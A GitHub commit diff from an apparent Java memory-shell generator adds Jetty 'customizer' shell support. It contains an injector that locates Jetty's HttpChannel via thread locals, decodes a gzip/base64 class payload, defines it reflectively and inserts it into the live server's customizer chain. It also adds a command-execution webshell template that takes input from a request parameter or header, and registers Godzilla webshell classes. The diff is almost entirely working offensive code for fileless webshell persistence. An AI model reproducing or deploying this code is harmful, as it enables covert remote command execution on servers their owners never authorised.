Skip to content

Commit 2f16fd1

Browse files
committed
feat: support jetty customizer shell
1 parent 616ee31 commit 2f16fd1

File tree

14 files changed

+558
-2
lines changed

14 files changed

+558
-2
lines changed

generator/src/main/java/com/reajason/javaweb/memshell/ServerFactory.java

Lines changed: 2 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -71,6 +71,7 @@ public class ServerFactory {
7171
.addShellClass(CATALINA_AGENT_CONTEXT_VALVE, Godzilla.class)
7272
.addShellClass(HANDLER, GodzillaJettyHandler.class)
7373
.addShellClass(JAKARTA_HANDLER, GodzillaJettyHandler.class)
74+
.addShellClass(CUSTOMIZER, GodzillaJettyCustomizer.class)
7475
.addShellClass(JETTY_AGENT_HANDLER, GodzillaJettyAgentHandler.class)
7576
.addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, GodzillaUndertowServletHandler.class)
7677
.addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, Godzilla.class)
@@ -144,6 +145,7 @@ public class ServerFactory {
144145
.addShellClass(CATALINA_AGENT_CONTEXT_VALVE, Command.class)
145146
.addShellClass(JETTY_AGENT_HANDLER, CommandJettyAgentHandler.class)
146147
.addShellClass(HANDLER, CommandJettyHandler.class)
148+
.addShellClass(CUSTOMIZER, CommandJettyCustomizer.class)
147149
.addShellClass(JAKARTA_HANDLER, CommandJettyHandler.class)
148150
.addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, CommandUndertowServletHandler.class)
149151
.addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, Command.class)

generator/src/main/java/com/reajason/javaweb/memshell/ShellType.java

Lines changed: 1 addition & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -20,9 +20,8 @@ public class ShellType {
2020
public static final String JAKARTA_PROXY_VALVE = JAKARTA + PROXY_VALVE;
2121

2222
public static final String HANDLER = "Handler";
23-
public static final String JETTY6_HANDLER = "Jetty6Handler";
24-
public static final String JETTY_EE_HANDLER = "JettyEEHandler";
2523
public static final String JAKARTA_HANDLER = JAKARTA + HANDLER;
24+
public static final String CUSTOMIZER = "Customizer";
2625

2726
public static final String NETTY_HANDLER = "NettyHandler";
2827

Lines changed: 216 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,216 @@
1+
package com.reajason.javaweb.memshell.injector.jetty;
2+
3+
import java.io.ByteArrayInputStream;
4+
import java.io.ByteArrayOutputStream;
5+
import java.io.IOException;
6+
import java.io.PrintStream;
7+
import java.lang.reflect.Array;
8+
import java.lang.reflect.Field;
9+
import java.lang.reflect.InvocationTargetException;
10+
import java.lang.reflect.Method;
11+
import java.util.List;
12+
import java.util.Set;
13+
import java.util.zip.GZIPInputStream;
14+
15+
/**
16+
* @author ReaJason
17+
*/
18+
public class JettyCustomizerInjector {
19+
20+
private String msg = "";
21+
22+
public String getClassName() {
23+
return "{{className}}";
24+
}
25+
26+
public String getBase64String() throws IOException {
27+
return "{{base64Str}}";
28+
}
29+
30+
public JettyCustomizerInjector() {
31+
Object channel = null;
32+
try {
33+
channel = getChannel();
34+
} catch (Throwable throwable) {
35+
msg += "channel error: " + getErrorMessage(throwable);
36+
}
37+
if (channel == null) {
38+
msg += "channel is null";
39+
} else {
40+
msg += ("channel: [" + channel + "] ");
41+
try {
42+
Object shell = getShell(channel);
43+
inject(channel, shell);
44+
msg += "[/*] ready\n";
45+
} catch (Throwable e) {
46+
msg += "failed " + getErrorMessage(e) + "\n";
47+
}
48+
}
49+
System.out.println(msg);
50+
}
51+
52+
public void inject(Object channel, Object shell) throws Exception {
53+
Object httpConfiguration = invokeMethod(channel, "getHttpConfiguration");
54+
List<Object> customizers = (List<Object>) invokeMethod(httpConfiguration, "getCustomizers");
55+
for (Object customizer : customizers) {
56+
if (customizer.getClass().getName().equals(getClassName())) {
57+
return;
58+
}
59+
}
60+
customizers.add(shell);
61+
}
62+
63+
@Override
64+
public String toString() {
65+
return msg;
66+
}
67+
68+
/**
69+
* org.eclipse.jetty.server.HttpChannel
70+
*/
71+
private Object getChannel() throws Exception {
72+
Set<Thread> threads = Thread.getAllStackTraces().keySet();
73+
for (Thread thread : threads) {
74+
try {
75+
Object table = getFieldValue(getFieldValue(thread, "threadLocals"), "table");
76+
for (int i = 0; i < Array.getLength(table); i++) {
77+
Object entry = Array.get(table, i);
78+
if (entry != null) {
79+
Object threadLocalValue = getFieldValue(entry, "value");
80+
if (threadLocalValue != null) {
81+
if (threadLocalValue.getClass().getName().contains("HttpConnection")) {
82+
System.out.println(threadLocalValue.getClass().getName());
83+
return getFieldValue(threadLocalValue, "_channel");
84+
}
85+
}
86+
}
87+
}
88+
} catch (Exception e) {
89+
}
90+
}
91+
return null;
92+
}
93+
94+
@SuppressWarnings("all")
95+
private Object getShell(Object context) throws Exception {
96+
ClassLoader classLoader = context.getClass().getClassLoader();
97+
Class<?> clazz = null;
98+
try {
99+
clazz = classLoader.loadClass(getClassName());
100+
} catch (Exception e) {
101+
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
102+
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
103+
defineClass.setAccessible(true);
104+
clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
105+
}
106+
msg += "[" + classLoader.getClass().getName() + "] ";
107+
return clazz.newInstance();
108+
}
109+
110+
111+
@SuppressWarnings("all")
112+
public static byte[] decodeBase64(String base64Str) throws Exception {
113+
Class<?> decoderClass;
114+
try {
115+
decoderClass = Class.forName("java.util.Base64");
116+
Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
117+
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
118+
} catch (Exception ignored) {
119+
decoderClass = Class.forName("sun.misc.BASE64Decoder");
120+
return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
121+
}
122+
}
123+
124+
@SuppressWarnings("all")
125+
public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
126+
ByteArrayOutputStream out = new ByteArrayOutputStream();
127+
GZIPInputStream gzipInputStream = null;
128+
try {
129+
gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData));
130+
byte[] buffer = new byte[4096];
131+
int n;
132+
while ((n = gzipInputStream.read(buffer)) > 0) {
133+
out.write(buffer, 0, n);
134+
}
135+
return out.toByteArray();
136+
} finally {
137+
if (gzipInputStream != null) {
138+
gzipInputStream.close();
139+
}
140+
out.close();
141+
}
142+
}
143+
144+
@SuppressWarnings("all")
145+
public static Field getField(Object obj, String name) throws NoSuchFieldException, IllegalAccessException {
146+
for (Class<?> clazz = obj.getClass();
147+
clazz != Object.class;
148+
clazz = clazz.getSuperclass()) {
149+
try {
150+
return clazz.getDeclaredField(name);
151+
} catch (NoSuchFieldException ignored) {
152+
153+
}
154+
}
155+
throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
156+
}
157+
158+
159+
@SuppressWarnings("all")
160+
public static Object getFieldValue(Object obj, String name) throws NoSuchFieldException, IllegalAccessException {
161+
try {
162+
Field field = getField(obj, name);
163+
field.setAccessible(true);
164+
return field.get(obj);
165+
} catch (NoSuchFieldException ignored) {
166+
}
167+
return null;
168+
}
169+
170+
public static Object invokeMethod(Object targetObject, String methodName) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException {
171+
return invokeMethod(targetObject, methodName, new Class[0], new Object[0]);
172+
}
173+
174+
@SuppressWarnings("all")
175+
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws NoSuchMethodException {
176+
try {
177+
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
178+
Method method = null;
179+
while (clazz != null && method == null) {
180+
try {
181+
if (paramClazz == null) {
182+
method = clazz.getDeclaredMethod(methodName);
183+
} else {
184+
method = clazz.getDeclaredMethod(methodName, paramClazz);
185+
}
186+
} catch (NoSuchMethodException e) {
187+
clazz = clazz.getSuperclass();
188+
}
189+
}
190+
if (method == null) {
191+
throw new NoSuchMethodException("Method not found: " + methodName);
192+
}
193+
method.setAccessible(true);
194+
return method.invoke(obj instanceof Class ? null : obj, param);
195+
} catch (NoSuchMethodException e) {
196+
throw e;
197+
} catch (Exception e) {
198+
throw new RuntimeException("Error invoking method: " + methodName, e);
199+
}
200+
}
201+
202+
@SuppressWarnings("all")
203+
private String getErrorMessage(Throwable throwable) {
204+
PrintStream printStream = null;
205+
try {
206+
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
207+
printStream = new PrintStream(outputStream);
208+
throwable.printStackTrace(printStream);
209+
return outputStream.toString();
210+
} finally {
211+
if (printStream != null) {
212+
printStream.close();
213+
}
214+
}
215+
}
216+
}

generator/src/main/java/com/reajason/javaweb/memshell/server/Jetty.java

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -44,6 +44,7 @@ public InjectorMapping getShellInjectorMapping() {
4444
.addInjector(JAKARTA_SERVLET, JettyServletInjector.class)
4545
.addInjector(HANDLER, JettyHandlerInjector.class)
4646
.addInjector(JAKARTA_HANDLER, JettyHandlerInjector.class)
47+
.addInjector(CUSTOMIZER, JettyCustomizerInjector.class)
4748
.addInjector(JETTY_AGENT_HANDLER, JettyHandlerAgentInjector.class)
4849
.build();
4950
}
Lines changed: 80 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,80 @@
1+
package com.reajason.javaweb.memshell.shelltool.command;
2+
3+
import org.eclipse.jetty.server.Connector;
4+
import org.eclipse.jetty.server.HttpConfiguration;
5+
import org.eclipse.jetty.server.Request;
6+
7+
import java.io.InputStream;
8+
import java.io.OutputStream;
9+
import java.lang.reflect.Method;
10+
import java.util.Scanner;
11+
12+
/**
13+
* @author ReaJason
14+
* @since 2025/11/29
15+
*/
16+
public class CommandJettyCustomizer implements HttpConfiguration.Customizer {
17+
private static String paramName;
18+
19+
public CommandJettyCustomizer() {
20+
}
21+
22+
// jetty9+
23+
public void customize(Connector connector, HttpConfiguration channelConfig, Request request) {
24+
try {
25+
String p = (String) request.getClass().getMethod("getParameter", String.class).invoke(request, paramName);
26+
if (p == null || p.isEmpty()) {
27+
p = (String) request.getClass().getMethod("getHeader", String.class).invoke(request, paramName);
28+
}
29+
if (p != null) {
30+
String param = getParam(p);
31+
Object response = invokeMethod(request, "getResponse");
32+
InputStream inputStream = getInputStream(param);
33+
OutputStream outputStream = (OutputStream) response.getClass().getMethod("getOutputStream").invoke(response);
34+
outputStream.write(new Scanner(inputStream).useDelimiter("\\A").next().getBytes());
35+
invokeMethod(request, "setHandled", new Class[]{boolean.class}, new Object[]{true});
36+
}
37+
} catch (Throwable e) {
38+
e.printStackTrace();
39+
}
40+
}
41+
42+
private String getParam(String param) {
43+
return param;
44+
}
45+
46+
private InputStream getInputStream(String param) throws Exception {
47+
return null;
48+
}
49+
50+
@SuppressWarnings("all")
51+
public static Object invokeMethod(Object obj, String methodName) {
52+
return invokeMethod(obj, methodName, null, null);
53+
}
54+
55+
@SuppressWarnings("all")
56+
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) {
57+
try {
58+
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
59+
Method method = null;
60+
while (clazz != null && method == null) {
61+
try {
62+
if (paramClazz == null) {
63+
method = clazz.getDeclaredMethod(methodName);
64+
} else {
65+
method = clazz.getDeclaredMethod(methodName, paramClazz);
66+
}
67+
} catch (NoSuchMethodException e) {
68+
clazz = clazz.getSuperclass();
69+
}
70+
}
71+
if (method == null) {
72+
throw new NoSuchMethodException("Method not found: " + methodName);
73+
}
74+
method.setAccessible(true);
75+
return method.invoke(obj instanceof Class ? null : obj, param);
76+
} catch (Exception e) {
77+
throw new RuntimeException("Error invoking method: " + (obj instanceof Class ? ((Class<?>) obj).getName() : obj.getClass().getName()) + "." + methodName, e);
78+
}
79+
}
80+
}

0 commit comments

Comments
 (0)